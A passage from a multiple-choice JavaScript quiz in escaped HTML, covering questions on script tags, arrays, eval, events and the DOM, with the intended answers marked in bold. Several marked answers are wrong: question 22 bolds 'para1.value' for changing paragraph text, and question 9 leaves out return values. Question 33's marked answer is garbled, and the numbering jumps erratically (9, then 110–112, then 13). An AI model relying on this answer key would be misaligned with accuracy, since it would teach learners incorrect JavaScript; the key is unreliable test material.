text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Varying randomly&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Causing high-school algebra flashbacks&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;6.&lt;span&gt;  &lt;/span&gt;_____ JavaScript statements embedded in an HTML page can respond to user events such as mouse-clicks, form input, and page navigation. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in; text-align: justify;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;Client-side &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Server-side&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Local&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Native&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;7.&lt;span&gt;  &lt;/span&gt;What should appear at the very end of your JavaScript? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in;"&gt;The &amp;lt;script LANGUAGE="JavaScript"&amp;gt;tag&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;   &lt;/span&gt;The &amp;lt;/script&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;span&gt;B.    The &amp;lt;script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;The END statement &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;8.&lt;span&gt;  &lt;/span&gt;Which of the following can't be done with client-side JavaScript?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Validating a form &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Sending a form's contents by email &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;Storing the form's contents to a database file on the server &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;9.&lt;span&gt;  &lt;/span&gt;Which of the following are capabilities of functions in JavaScript? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Return a value &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Accept parameters and Return a value &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;Accept parameters &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.5in; text-indent: -41.75pt;"&gt;110.&lt;span&gt;  &lt;/span&gt;Which of the following is not a valid JavaScript variable name? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;2names&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;_first_and_last_names &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;FirstAndLast&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.5in; text-indent: -41.75pt; text-align: justify;"&gt;111.&lt;span&gt;  &lt;/span&gt;______ tag is an extension to HTML that can enclose any number of JavaScript statements. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;&amp;lt;SCRIPT&amp;gt; &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;&amp;lt;BODY&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;&amp;lt;HEAD&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;&amp;lt;TITLE&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.5in; text-indent: -41.75pt;"&gt;112.&lt;span&gt;  &lt;/span&gt;How does JavaScript store dates in a date object? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;The number of milliseconds since January 1st, 1970&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;The number of days since January 1st, 1900 &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;The number of seconds since Netscape's public stock offering. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;13.&lt;span&gt;  &lt;/span&gt;Which of the following attribute can hold the JavaScript version?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;LANGUAGE&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;SCRIPT&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;VERSION&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;14. &lt;span&gt; &lt;/span&gt;What is the correct JavaScript syntax to write "Hello World"? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;System.out.println("Hello World")&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;println ("Hello World")&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;span style="font-family:Times New Roman;"&gt;C.&lt;span&gt;  &lt;/span&gt;document.write("Hello World") &lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;response.write("Hello World")&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;15.&lt;span&gt;  &lt;/span&gt;Which of the following way can be used to indicate the LANGUAGE attribute? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;&amp;lt;LANGUAGE="JavaScriptVersion"&amp;gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;&amp;lt;SCRIPT LANGUAGE="JavaScriptVersion"&amp;gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;&amp;lt;SCRIPT LANGUAGE="JavaScriptVersion"&amp;gt; &lt;span&gt;   &lt;/span&gt;JavaScript statements…&amp;lt;/SCRIPT&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;&amp;lt;SCRIPT LANGUAGE="JavaScriptVersion"!&amp;gt; &lt;span&gt;   &lt;/span&gt;JavaScript statements…&amp;lt;/SCRIPT&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;16.&lt;span&gt;  &lt;/span&gt;Inside which HTML element do we put the JavaScript? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;&amp;lt;js&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;&amp;lt;scripting&amp;gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;&amp;lt;script&amp;gt; &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;&amp;lt;javascript&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;17.&lt;span&gt;  &lt;/span&gt;What is the correct syntax for referring to an external script called " abc.js"?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;&amp;lt;script href=" abc.js"&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;&amp;lt;script name=" abc.js"&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;&amp;lt;script src=" abc.js"&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;18.&lt;span&gt;  &lt;/span&gt;Which types of image maps can be used with JavaScript? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Server-side image maps &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;Client-side image maps &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Server-side image maps and Client-side image maps &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;19.&lt;span&gt;  &lt;/span&gt;Which of the following navigator object properties is the same in both &lt;span&gt;  &lt;/span&gt;Netscape and IE?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;navigator.appCodeName&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;navigator.appName &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;navigator.appVersion &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;20.&lt;span&gt;  &lt;/span&gt;Which is the correct way to write a JavaScript array? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;var txt = new Array(1:"tim",2:"kim",3:"jim") &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;var txt = new Array:1=("tim")2=("kim")3=(&lt;wbr&gt;"jim") &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;var txt = new Array("tim","kim","jim") &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;var txt = new Array="tim","kim","jim" &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;21.&lt;span&gt;  &lt;/span&gt;What does the &amp;lt;noscript&amp;gt; tag do?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;Enclose text to be displayed by non-JavaScript browsers.&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Prevents scripts on the page from executing. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Describes certain low-budget movies. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;22. If para1 is the DOM object for a paragraph, what is the correct syntax to change the text within the paragraph? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;"New Text"? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;para1.value="New Text"; &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;para1.firstChild.nodeValue= "New Text";&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;para1.nodeValue="New Text"; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;23.&lt;span&gt;  &lt;/span&gt;JavaScript entities start with _______ and end with _________. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Semicolon, colon &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Semicolon, Ampersand &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Ampersand, colon &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;D.&lt;span&gt;  &lt;/span&gt;Ampersand, semicolon &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;24.&lt;span&gt;  &lt;/span&gt;Which of the following best describes JavaScript? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;a low-level programming language. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;a scripting language precompiled in the browser. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;a compiled scripting language. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;D.&lt;span&gt;  &lt;/span&gt;an object-oriented scripting language. &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;25.&lt;span&gt;  &lt;/span&gt;Choose the server-side JavaScript object? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;FileUpLoad &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Function&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;File&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Date&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;26.&lt;span&gt;  &lt;/span&gt;Choose the client-side JavaScript object? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Database &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Cursor&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Client&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;D.&lt;span&gt;  &lt;/span&gt;FileUpLoad &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;27.&lt;span&gt;  &lt;/span&gt;Which of the following is not considered a JavaScript operator? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;new &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;this&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;delete&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;typeof&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;28.&lt;span&gt;  &lt;/span&gt;______method evaluates a string of JavaScript code in the context of the specified object. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;Eval&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;ParseInt&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;ParseFloat&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Efloat&lt;/p&gt;&lt;br /&gt;29.&lt;span&gt;  &lt;/span&gt;Which of the following event fires when the form element loses the focus: &amp;lt;button&amp;gt;, &amp;lt;input&amp;gt;, &amp;lt;label&amp;gt;, &amp;lt;select&amp;gt;, &amp;lt;textarea&amp;gt;?&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;onfocus &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;onblur&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;onclick&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;ondblclick&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;30.&lt;span&gt;  &lt;/span&gt;The syntax of Eval is ________________&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;[objectName.]eval(numeric) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;[objectName.]eval(string) &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;[EvalName.]eval(string) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;[EvalName.]eval(numeric) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;31.&lt;span&gt;  &lt;/span&gt;JavaScript is interpreted by _________&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;Client&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Server&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Object&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;32.&lt;span&gt;  &lt;/span&gt;Using _______ statement is how you test for a specific condition. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Select &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;If&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Switch&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;For&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;33.&lt;span&gt;  &lt;/span&gt;Which of the following is the structure of an if statement? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;if (conditional expression is true) thenexecute this codeend if &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;if (conditional expression is true)execute this codeend if &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;if (conditional expression is true) &lt;span&gt;  &lt;/span&gt;{then execute this code&amp;gt;-&amp;gt;}&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;if (conditional expression is true) then {execute this code} &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;34.&lt;span&gt;  &lt;/span&gt;How to create a Date object in JavaScript? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;dateObjectName = new Date([parameters])&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;dateObjectName.new Date([parameters]) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;dateObjectName := new Date([parameters]) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;dateObjectName Date([parameters]) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;35.&lt;span&gt;  &lt;/span&gt;The _______ method of an Array object adds and/or removes elements from an array. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Reverse &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: 